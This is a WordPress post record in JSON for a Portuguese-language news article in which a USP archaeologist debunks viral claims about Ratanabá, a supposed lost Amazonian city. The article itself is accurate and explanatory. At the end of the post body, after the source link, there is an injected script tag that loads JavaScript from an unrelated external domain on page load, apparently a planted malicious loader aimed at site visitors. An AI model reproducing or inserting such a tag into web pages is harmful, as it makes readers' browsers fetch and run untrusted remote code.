{"id":1797,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/ratanaba-por-que-lenda-de-cidade-perdida-na-amazonia-nao-faz-sentido-15-06-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"ratanaba-por-que-lenda-de-cidade-perdida-na-amazonia-nao-faz-sentido-15-06-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/ratanaba-por-que-lenda-de-cidade-perdida-na-amazonia-nao-faz-sentido-15-06-2022\/","title":{"rendered":"Ratanab\u00e1: por que lenda de &#8216;cidade perdida na Amaz\u00f4nia&#8217; n\u00e3o faz sentido &#8211; 15\/06\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">Nos \u00faltimos dias, a suposta descoberta de Ratanab\u00e1, uma civiliza\u00e7\u00e3o secreta no cora\u00e7\u00e3o da Amaz\u00f4nia, se espalhou com grande velocidade pelas redes sociais.<\/p>\n<p>De acordo com as postagens, que viralizaram no TikTok, no Twitter e no Instagram, a cidade seria &#8220;maior que a Grande S\u00e3o Paulo&#8221;, era &#8220;a capital do mundo&#8221; e &#8220;esconde muita riqueza, como esculturas de ouro e tecnologias avan\u00e7adas de nossos ancestrais&#8221;.<\/p>\n<p>Algumas teorias da conspira\u00e7\u00e3o foram al\u00e9m e disseram que a descoberta ajudaria a explicar &#8220;o verdadeiro interesse de dezenas de homens poderosos na Amaz\u00f4nia&#8221; e at\u00e9 o desaparecimento do jornalista ingl\u00eas Dom Phillips e do indigenista brasileiro Bruno Pereira.<\/p>\n<p>Essas informa\u00e7\u00f5es, por\u00e9m, n\u00e3o fazem o menor sentido. &#8220;Tudo isso \u00e9 um del\u00edrio&#8221;, avalia o arque\u00f3logo Eduardo Go\u00e9s Neves, professor do Centro de Estudos Amer\u00edndios da Universidade de S\u00e3o Paulo (USP) e coordenador do Laborat\u00f3rio de Arqueologia dos Tr\u00f3picos do Museu de Arqueologia e Etnologia da mesma institui\u00e7\u00e3o.<\/p>\n<p>H\u00e1 mais de 30 anos, o especialista integra uma rede de pesquisadores que trabalham para revelar o passado da Amaz\u00f4nia e dos povos que viveram (e ainda vivem) por l\u00e1.<\/p>\n<p>Na avalia\u00e7\u00e3o dele, o surgimento de hist\u00f3rias como a de Ratanab\u00e1, que n\u00e3o tem fundamento algum nas publica\u00e7\u00f5es cient\u00edficas recentes, presta um &#8220;desservi\u00e7o \u00e0 arqueologia&#8221;.<\/p>\n<p>&#8220;H\u00e1 mais de 20 anos, os arque\u00f3logos que atuam na regi\u00e3o defendem que existiam cidades na Amaz\u00f4nia, mas isso era visto como coisa de maluco&#8221;, conta.<\/p>\n<p>&#8220;Com o passar do tempo, a perspectiva foi mudando e a comunidade acad\u00eamica come\u00e7ou a aceitar que, sim, existem evid\u00eancias de s\u00edtios de grande dimens\u00e3o, estradas e aterros constru\u00eddos h\u00e1 muito tempo&#8221;, continua o especialista, que refor\u00e7a que essas descobertas n\u00e3o t\u00eam nada a ver com civiliza\u00e7\u00f5es antigas ou tesouros ocultos.<\/p>\n<p>&#8220;Agora, todo o nosso esfor\u00e7o pode quase voltar \u00e0 estaca zero com a hist\u00f3ria de Ratanab\u00e1 e a propaga\u00e7\u00e3o de informa\u00e7\u00f5es das maneiras mais estapaf\u00fardias poss\u00edveis&#8221;, completa.<\/p>\n<p>A seguir, confira porque os principais argumentos utilizados para falar sobre a &#8220;cidade perdida na Amaz\u00f4nia&#8221; n\u00e3o fazem sentido \u2014 e o que as evid\u00eancias cient\u00edficas revelam sobre a ocupa\u00e7\u00e3o humana na maior floresta tropical do mundo.<\/p>\n<h2>Uma conta que n\u00e3o fecha<\/h2>\n<p>O primeiro detalhe que chama a aten\u00e7\u00e3o nas postagens sobre Ratanab\u00e1 s\u00e3o as datas utilizadas. Em alguns textos, est\u00e1 escrito que a civiliza\u00e7\u00e3o teria existido ali h\u00e1 350, 450 ou at\u00e9 600 milh\u00f5es de anos.<\/p>\n<p>&#8220;Isso n\u00e3o faz o menor sentido do ponto de vista da hist\u00f3ria geol\u00f3gica e biol\u00f3gica do nosso planeta&#8221;, responde Neves.<\/p>\n<p>&#8220;Para ter ideia, nem os dinossauros existiam h\u00e1 350 milh\u00f5es de anos. Nossos ancestrais mais antigos viveram h\u00e1 mais ou menos 6 milh\u00f5es de anos. Mas a nossa esp\u00e9cie mesmo, o Homo sapiens sapiens, surgiu h\u00e1 350 mil anos na \u00c1frica&#8221;, estima.<\/p>\n<p>Ou seja: h\u00e1 um erro de c\u00e1lculo de, pelo menos, 349.650.000 anos nessa hist\u00f3ria.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x1 limit-crop  figure\" style=\"max-width:450px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/46\/2022\/06\/15\/na-era-paleozoica-entre-542-e-241-milhoes-de-anos-atras-animais-viviam-majoritariamente-em-ambientes-aquaticos-1655315941438_v2_450x1.jpg\" class=\"pinit-img\" alt=\"Na era paleozoica (entre 542 e 241 milh\u00f5es de anos atr\u00e1s), animais viviam majoritariamente em ambientes aqu\u00e1ticos - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;450x1&quot;,&quot;md&quot;:&quot;450x1&quot;,&quot;lg&quot;:&quot;450x1&quot;}\" width=\"450\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.2222222222222222%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Na era paleozoica (entre 542 e 241 milh\u00f5es de anos atr\u00e1s), animais viviam majoritariamente em ambientes aqu\u00e1ticos<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;Se algu\u00e9m falasse que existiram cidades na Amaz\u00f4nia h\u00e1 3.500 anos eu at\u00e9 pensaria que essa era uma quest\u00e3o para tentar entender melhor e pesquisar. Agora, uma civiliza\u00e7\u00e3o h\u00e1 350 milh\u00f5es de anos? N\u00e3o existe a menor possibilidade disso&#8221;, assinala o arque\u00f3logo.<\/p>\n<h2>Metr\u00f3poles do passado, pequenas cidades de hoje<\/h2>\n<p>A segunda informa\u00e7\u00e3o completamente errada sobre Ratanab\u00e1 tem a ver com o suposto tamanho da cidade. Algumas postagens dizem que ela seria maior que a Grande S\u00e3o Paulo.<\/p>\n<p>Mais uma vez, isso est\u00e1 em desacordo com as evid\u00eancias cient\u00edficas. &#8220;Ainda n\u00e3o temos uma estimativa exata de quantas pessoas viviam nessas cidades da Amaz\u00f4nia, mas certamente elas n\u00e3o tinham o tamanho de S\u00e3o Paulo de jeito nenhum&#8221;, diz Neves.<\/p>\n<p>&#8220;Para ter ideia, no s\u00e9culo 16, as cidades mais populosas do mundo provavelmente eram Istambul, na Turquia, e Tenochtitl\u00e1n, no M\u00e9xico. E elas tinham 50 mil, no m\u00e1ximo 200 mil habitantes&#8221;, calcula o professor da USP.<\/p>\n<p>Atualmente, a Grande S\u00e3o Paulo abriga cerca de 22 milh\u00f5es de habitantes.<\/p>\n<p>Neves calcula que, antes da chegada dos europeus nas Am\u00e9ricas, existiam cerca de 10 milh\u00f5es de ind\u00edgenas em toda a Amaz\u00f4nia. &#8220;E esse n\u00famero caiu muito a partir do s\u00e9culo 17 por conta das guerras e das epidemias&#8221;, ensina.<\/p>\n<h2>Linhas retas no meio da selva<\/h2>\n<p>O terceiro argumento que confere musculatura aos boatos sobre Ratanab\u00e1 tem a ver com t\u00faneis encontrados na regi\u00e3o amaz\u00f4nica ou com imagens a\u00e9reas, que mostram linhas retas e quadrados perfeitos, vis\u00edveis entre as copas das \u00e1rvores.<\/p>\n<p>Esses t\u00faneis, defendem as postagens nas m\u00eddias sociais, serviriam de passagem secreta e conectariam diversas partes da Am\u00e9rica do Sul.<\/p>\n<p>As linhas retas, por sua vez, n\u00e3o existem na natureza e seriam fruto de trabalho humano, garantem os boatos.<\/p>\n<p>Neves esclarece que realmente existem t\u00faneis na Amaz\u00f4nia. &#8220;As imagens divulgadas provavelmente v\u00eam da regi\u00e3o do Forte Pr\u00edncipe da Beira, em Rond\u00f4nia, que era um posto colonial portugu\u00eas.&#8221;<\/p>\n<p>&#8220;Essas constru\u00e7\u00f5es est\u00e3o relacionadas \u00e0s disputas de fronteira entre Espanha e Portugal nas proximidades do rio Guapor\u00e9 ao longo do s\u00e9culo 18&#8221;, complementa.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x1 limit-crop  figure\" style=\"max-width:450px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/7f\/2022\/06\/15\/forte-principe-da-beira-em-rondonia-quase-na-divisa-entre-brasil-e-bolivia-foi-construido-no-seculo-18-1655316266935_v2_450x1.jpg\" class=\"pinit-img\" alt=\"Forte Pr\u00edncipe da Beira, em Rond\u00f4nia, quase na divisa entre Brasil e Bol\u00edvia, foi constru\u00eddo no s\u00e9culo 18 - Divulga\u00e7\u00e3o\/Roberto Castro\/Minist\u00e9rio do Turismo - Divulga\u00e7\u00e3o\/Roberto Castro\/Minist\u00e9rio do Turismo\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;450x1&quot;,&quot;md&quot;:&quot;450x1&quot;,&quot;lg&quot;:&quot;450x1&quot;}\" width=\"450\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.2222222222222222%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Forte Pr\u00edncipe da Beira, em Rond\u00f4nia, quase na divisa entre Brasil e Bol\u00edvia, foi constru\u00eddo no s\u00e9culo 18<\/p>\n<p> <span>Imagem: Divulga\u00e7\u00e3o\/Roberto Castro\/Minist\u00e9rio do Turismo<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Mas e as linhas retas? Pelas poucas imagens dispon\u00edveis, Neves acredita que elas sejam de uma regi\u00e3o pr\u00f3xima da fronteira entre os Estados do Mato Grosso, Par\u00e1 e Amazonas.<\/p>\n<p>&#8220;Essas forma\u00e7\u00f5es s\u00e3o conhecidas h\u00e1 muito tempo e realmente parecem linhas perpendiculares, o que \u00e9 uma coisa incomum&#8221;, avalia.<\/p>\n<p>&#8220;As principais suspeitas s\u00e3o de que seja uma forma\u00e7\u00e3o natural de calc\u00e1rio ou algum tipo de rocha que segue esse padr\u00e3o&#8221;, diz o arque\u00f3logo.<\/p>\n<p>&#8220;\u00c9 improv\u00e1vel que aquilo seja de autoria humana. Mas, caso realmente tenha sido feito pelos povos locais, essas constru\u00e7\u00f5es n\u00e3o devem ter mais do que 2,5 mil anos&#8221;, completa.<\/p>\n<h2>O que pode estar por tr\u00e1s do interesse no tema<\/h2>\n<p>Neves, que n\u00e3o possui nenhum perfil nas <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a>, confessa que nunca tinha ouvido falar de Ratanab\u00e1 at\u00e9 a segunda semana de junho de 2022.<\/p>\n<p>&#8220;Quando come\u00e7aram a me perguntar sobre isso, at\u00e9 fui pesquisar e consultar outros colegas que estudam a arqueologia amaz\u00f4nica, mas ningu\u00e9m conhecia essa hist\u00f3ria&#8221;, relata.<\/p>\n<p>Embora existam perfis nas redes sociais e at\u00e9 livros publicados sobre a tal &#8220;civiliza\u00e7\u00e3o perdida&#8221; nos \u00faltimos anos, o tema s\u00f3 ganhou o interesse popular e foi virar um assunto amplamente comentado nos \u00faltimos dias.<\/p>\n<p>Na avalia\u00e7\u00e3o de Neves, o fen\u00f4meno pode ser explicado por uma s\u00e9rie de fatores.<\/p>\n<p>&#8220;Me parece uma mistura da ingenuidade das pessoas, que querem acreditar nesse tipo de coisa, com interesses econ\u00f4micos de explora\u00e7\u00e3o da Amaz\u00f4nia&#8221;, especula o especialista, que lembra de outras lendas parecidas, como a cidade de Eldorado, alvo de exploradores ao longo dos s\u00e9culos por supostamente ser feita de ouro.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x1 limit-crop  figure\" style=\"max-width:450px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/e6\/2022\/06\/15\/na-ilustracao-explorador-europeu-vislumbra-ao-longe-a-cidade-de-eldorado-que-segundo-as-lendas-era-feita-de-ouro-macico-1655316361786_v2_450x1.jpg\" class=\"pinit-img\" alt=\"Na ilustra\u00e7\u00e3o, explorador europeu vislumbra ao longe a cidade de Eldorado, que segundo as lendas era feita de ouro maci\u00e7o] - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;450x1&quot;,&quot;md&quot;:&quot;450x1&quot;,&quot;lg&quot;:&quot;450x1&quot;}\" width=\"450\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.2222222222222222%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Na ilustra\u00e7\u00e3o, explorador europeu vislumbra ao longe a cidade de Eldorado, que segundo as lendas era feita de ouro maci\u00e7o<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<p>&#8220;E tamb\u00e9m n\u00e3o podemos ignorar o racismo nesse contexto. Quando se fala que existiram civiliza\u00e7\u00f5es &#8216;avan\u00e7adas&#8217; h\u00e1 300 milh\u00f5es de anos, voc\u00ea est\u00e1 retirando dos povos ancestrais, que s\u00e3o os antepassados dos ind\u00edgenas de hoje, a autoria de todas aquelas constru\u00e7\u00f5es&#8221;, acrescenta.<\/p>\n<p>&#8220;\u00c9 algo parecido ao que vemos no livro Eram os Deuses Astronautas?, de Erich von D\u00e4niken. Ali, soa mais f\u00e1cil explicar que as pir\u00e2mides do Egito foram constru\u00eddas por seres extraterrestres do que dar o cr\u00e9dito aos povos africanos&#8221;, compara.<\/p>\n<p>&#8220;E tudo isso denota um profundo racismo com todas as popula\u00e7\u00f5es n\u00e3o europeias, como os ind\u00edgenas e os africanos, como se elas n\u00e3o fossem capazes&#8221;, interpreta.<\/p>\n<p>Por fim, o arque\u00f3logo opina que o fato de lendas do tipo ganharem f\u00f4lego justamente agora serve como uma esp\u00e9cie de bal\u00e3o de ensaio.<\/p>\n<p>&#8220;Elas funcionam como cortina de fuma\u00e7a num momento em que temos duas pessoas desaparecidas e desviam a aten\u00e7\u00e3o do real problema da viol\u00eancia na Amaz\u00f4nia&#8221;, completa.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x1 limit-crop  figure\" style=\"max-width:450px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/e7\/2022\/06\/15\/na-avaliacao-de-professor-da-usp-teorias-infundadas-de-que-as-piramides-do-egito-sao-obra-extraterrestre-denota-racismo-com-povos-nao-europeus-1655316511836_v2_450x1.jpg\" class=\"pinit-img\" alt=\"Na avalia\u00e7\u00e3o de professor da USP, teorias infundadas de que as pir\u00e2mides do Egito s\u00e3o obra extraterrestre denota racismo com povos n\u00e3o europeus - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;450x1&quot;,&quot;md&quot;:&quot;450x1&quot;,&quot;lg&quot;:&quot;450x1&quot;}\" width=\"450\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.2222222222222222%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Na avalia\u00e7\u00e3o de professor da USP, teorias infundadas de que as pir\u00e2mides do Egito s\u00e3o obra extraterrestre denota racismo com povos n\u00e3o europeus<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>(Falta de) pedras no caminho<\/h2>\n<p>Neves explica que a arqueologia amaz\u00f4nica enfrentou grandes percal\u00e7os ao longo das \u00faltimas d\u00e9cadas.<\/p>\n<p>&#8220;De forma geral, a Amaz\u00f4nia tem poucas rochas. Ent\u00e3o, a principal mat\u00e9ria-prima utilizada nas constru\u00e7\u00f5es do passado eram terra e madeira&#8221;, contextualiza.<\/p>\n<p>&#8220;Para compreender esses per\u00edodos, precisamos de uma equipe multidisciplinar, capaz de trabalhar com objetos que foram deixados e resistiram ao tempo, como cer\u00e2micas, restos org\u00e2nicos, amostras de solo, peda\u00e7os de comida, sementes e ossos&#8221;, exemplifica.<\/p>\n<p>Para ilustrar essa dificuldade, Neves cita como exemplo um artigo publicado h\u00e1 poucas semanas no peri\u00f3dico cient\u00edfico Nature por especialistas de universidades brit\u00e2nicas e alem\u00e3s.<\/p>\n<p>A pesquisa revelou os detalhes de dois grandes s\u00edtios arqueol\u00f3gicos de 147 e 315 hectares (uma \u00e1rea equivalente a 205 e 441 campos de <a href=\"https:\/\/www.uol.com.br\/esporte\/futebol\/\">futebol<\/a>, respectivamente), inclusive com a exist\u00eancia de pir\u00e2mides, na Amaz\u00f4nia boliviana.<\/p>\n<p>&#8220;Essas estruturas de terra s\u00e3o conhecidas h\u00e1 60 anos, mas era muito dif\u00edcil definir se eram naturais ou foram constru\u00eddas por seres humanos&#8221;, avalia o arque\u00f3logo.<\/p>\n<p>&#8220;S\u00f3 foi poss\u00edvel obter essa resposta agora, porque temos uma tecnologia chamada Lidar capaz de fazer esse tipo de an\u00e1lise.&#8221;<\/p>\n<h2>O futuro depende do passado<\/h2>\n<p>Mas, afinal, diante das evid\u00eancias cient\u00edficas dispon\u00edveis no momento, o que os cientistas sabem sobre a hist\u00f3ria dos povos que habitaram essa regi\u00e3o?<\/p>\n<p>&#8220;Sabemos que a Amaz\u00f4nia foi densamente ocupada no passado e que os povos que viveram l\u00e1 deixaram marcas muito vis\u00edveis do modo de vida que tinham, com valas em formato geom\u00e9trico e estradas lineares&#8221;, resume Neves.<\/p>\n<p>&#8220;E temos dados que nos mostram de forma muito segura uma rela\u00e7\u00e3o direta entre os indiv\u00edduos que fizeram essas constru\u00e7\u00f5es no passado e os povos ind\u00edgenas de hoje.&#8221;<\/p>\n<p>&#8220;N\u00e3o se trata, portanto, de uma civiliza\u00e7\u00e3o perdida, que desapareceu h\u00e1 milh\u00f5es de anos&#8221;, assegura o pesquisador.<\/p>\n<p>De acordo com o Painel Cient\u00edfico para a Amaz\u00f4nia, publica\u00e7\u00e3o coordenada pela Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas (ONU) que tem um cap\u00edtulo sobre os povos que viviam na regi\u00e3o antes da chegada dos europeus, h\u00e1 evid\u00eancias de que essa floresta tropical \u00e9 ocupada por ind\u00edgenas h\u00e1 12 mil anos.<\/p>\n<p>&#8220;Durante essa longa hist\u00f3ria, as sociedades ind\u00edgenas desenvolveram tecnologias que eram altamente adaptadas \u00e0s condi\u00e7\u00f5es locais e otimizadas para a expans\u00e3o do sistema de produ\u00e7\u00e3o de alimentos&#8221;, escreve o grupo de especialistas que assinam o documento, liderado por Neves.<\/p>\n<p>&#8220;A arqueologia amaz\u00f4nica mostra qu\u00e3o profunda \u00e9 a hist\u00f3ria ind\u00edgena na regi\u00e3o, caracterizada pela diversidade cultural e agro-biol\u00f3gica. Trata-se de um dos poucos centros independentes de domestica\u00e7\u00e3o de plantas no planeta e um dos primeiros centros produtores de cer\u00e2mica no Novo Mundo&#8221;, segue o texto.<\/p>\n<p>&#8220;Todas essas tecnologias podem inspirar novas formas de urbanismo, manejo dos dejetos e sistemas integrados do uso da terra&#8221;, finalizam os autores.<\/p>\n<p>Para Neves, esse conjunto de evid\u00eancias permite enxergar a Amaz\u00f4nia como um &#8220;patrim\u00f4nio biocultural&#8221;, com uma intera\u00e7\u00e3o entre a a\u00e7\u00e3o humana e a natureza ao longo de mil\u00eanios.<\/p>\n<p>&#8220;Portanto, para proteger a Amaz\u00f4nia, precisamos fortalecer as popula\u00e7\u00f5es locais, como os ind\u00edgenas, os ribeirinhos, os quilombolas e os caboclos, porque elas t\u00eam um papel muito importante na constru\u00e7\u00e3o e na manuten\u00e7\u00e3o desse patrim\u00f4nio biocultural&#8221;, conclui o arque\u00f3logo.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/06\/15\/ratanaba-por-que-lenda-de-cidade-perdida-na-amazonia-nao-faz-sentido.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nos \u00faltimos dias, a suposta descoberta de Ratanab\u00e1, uma civiliza\u00e7\u00e3o secreta no cora\u00e7\u00e3o da Amaz\u00f4nia, se espalhou com grande velocidade pelas redes sociais. De acordo com as postagens, que viralizaram no TikTok, no Twitter e no Instagram, a cidade seria &#8220;maior que a Grande S\u00e3o Paulo&#8221;, era &#8220;a capital do mundo&#8221; e &#8220;esconde muita riqueza,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1798,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[2301,2395,444,2740,255,3331,111,3330,3332],"class_list":["post-1797","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-amazonia","tag-cidade","tag-faz","tag-lenda","tag-nao","tag-perdida","tag-por","tag-ratanaba","tag-sentido"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1797","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1797"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/1797\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/1798"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1797"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1797"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1797"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}